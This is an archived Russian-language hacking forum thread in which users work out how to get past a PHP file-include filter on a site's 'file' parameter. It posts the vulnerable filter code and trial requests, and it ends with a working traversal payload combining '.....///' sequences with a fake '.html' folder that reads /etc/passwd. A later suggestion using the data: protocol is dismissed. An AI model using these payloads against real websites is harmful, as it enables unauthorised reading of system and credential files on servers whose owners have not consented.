PDA

Просмотр полной версии : Фильтрация при инклуде


jangle
15.12.2011, 00:17
есть запрос


index.php?file=\..\..\..\..\..\..\..\..\etc\passwd


Выдает ответ


Template Execution Halted! Error: /etc/passwd.html (Template file does not exist)


А вот сама фильтрация в файле index.php


$file=str_replace("http://","",$file);

$file=str_replace("ftp://","",$file);

$file=str_replace("://","",$file);

$file=str_replace(chr(0),"",$file);

$file=str_replace("../","",$file);

$file=str_replace("./","",$file);

$file=str_replace("%","",$file);

if (strpos($file,".html") ===FALSE) {

$file.=".html";

}



Кроме того при обработке file фильтруется


$theValue = str_replace(";","",$theValue);

$theValue = str_replace("","",$theValue);

$theValue = htmlentities ($theValue);



Это как то можно обойти и заинклудить файл?

Мои благодарности!!!

Чакэ
15.12.2011, 01:27
никак. тут, хоть и по быдляцки организованная, но всё же, фильтрация есть на конец файла что будет инклудится. выйти на пределы папки можно используя ...../// а вот расширение не отбросить.

jangle
15.12.2011, 01:30
По папкам перебераться научился.

При запросе


index.php?file=/.....///admin/blank




Template Execution Halted!
Error: /var/site/www/templates/compiled//../admin/blank.html (Cannot create compiled version - check user rights on compiled directory)


а при


index.php?file=/.....///default


выдает default.html в корневой директории.

Но вот как отрезать .html

Пробовал слеши.

при запросе


index.php?file=/.....///index.php//// (8143 слешей)


дает


Request-URI Too Large
The requested URL's length exceeds the capacity limit for this server.


если слешей меньше - просто говорит что не найден файл(((

Может кто подскажет как откинуть хвост?

Спасибо

jangle
15.12.2011, 01:34
To Чакэ

Спасибо большое

Пока писал пост - ты ответил.

Konqi
15.12.2011, 01:35
если научился перебратся по папкам, тогда .html легко вырезать, в коде же написано, если в имени файла есть .html , то добавлятся не будет в конце, то есть можешь использовать .html Например как имя папки, а потом выйти за его пределы

jangle
15.12.2011, 01:41
To Konqi

ПОЖАЛУЙСТА покажи как на моих примерах выше. Суть не могу уловить

Konqi
15.12.2011, 01:45
To Konqi
ПОЖАЛУЙСТА покажи как на моих примерах выше. Суть не могу уловить



$file = '/папка/.html/[выйти_за_пределы_папки_.html]/а_тут_что_хочешь'

в этом случий в конце не будет добавлено .html, так как условие if (strpos($file,".html") == FALSE)) НЕ выполняется

jangle
15.12.2011, 01:49
Ура получилось


index.php?file=/.html/.....///.....///.....///.....///.....///.....///etc/passwd


To Konqi

ты просто ГЕНИЙ!!!!!!!!!!!

aydin-ka
15.12.2011, 17:53
Я конечно в этом плохо разбираюсь...а можно "пойти" через протокол DATA например так:

http://site.ru/index.php?id=data:,&cmd=../../../../../../etc/passwd

Boolean
16.12.2011, 00:40
Я конечно в этом плохо разбираюсь...а можно "пойти" через протокол DATA
например так:
http://site.ru/index.php?id=data:,&cmd=../../../../../../etc/passwd


Не неси чушь.